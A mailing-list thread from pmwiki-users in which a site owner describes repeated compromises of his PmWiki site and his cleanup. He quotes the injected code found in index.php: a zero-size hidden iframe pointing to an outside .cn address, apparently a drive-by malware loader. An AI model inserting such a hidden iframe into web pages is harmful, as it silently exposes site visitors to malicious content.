[pmwiki-users] More hacking

[Erik Haagensen]

Erik Haagensen <erik.haa <at> gmail.com> writes:

> 
> 
> Our site has been hacked several times during the last month.
> It has been cleaned and checked by Site Analyzer - all ok.
> After some days we have problems again.
>  
> The index.php (and several other files) contains this now:
> 
> 
> <?php include('pmwiki.php');
> <iframe src="http://mixlong.cn/in/" width=0 height=0 frameborder=0></iframe>
> 
>  
> I don't know what more to do to avoid these problems.
>  
> 
> -- 
> mvh
> Erik Haagensen
> Oslia
> NO-2550 Os i Østerdalen
> 
> 
> 
> 
> _______________________________________________
> pmwiki-users mailing list
> pmwiki-users <at> pmichaud.com
> http://www.pmichaud.com/mailman/listinfo/pmwiki-users
> 


Thanks for all personal e-mail response offside group.

I have now stripped away all directories and files except for what is part of 
the pmwiki-system, and in addition moved to another server.
I'll presume I'll just have to wait and see if new hacking occurs.
If none - I can't tell if it's the stripping or moving that made it - but 
eventually I have to add some database and asp to get back to full 
functionality.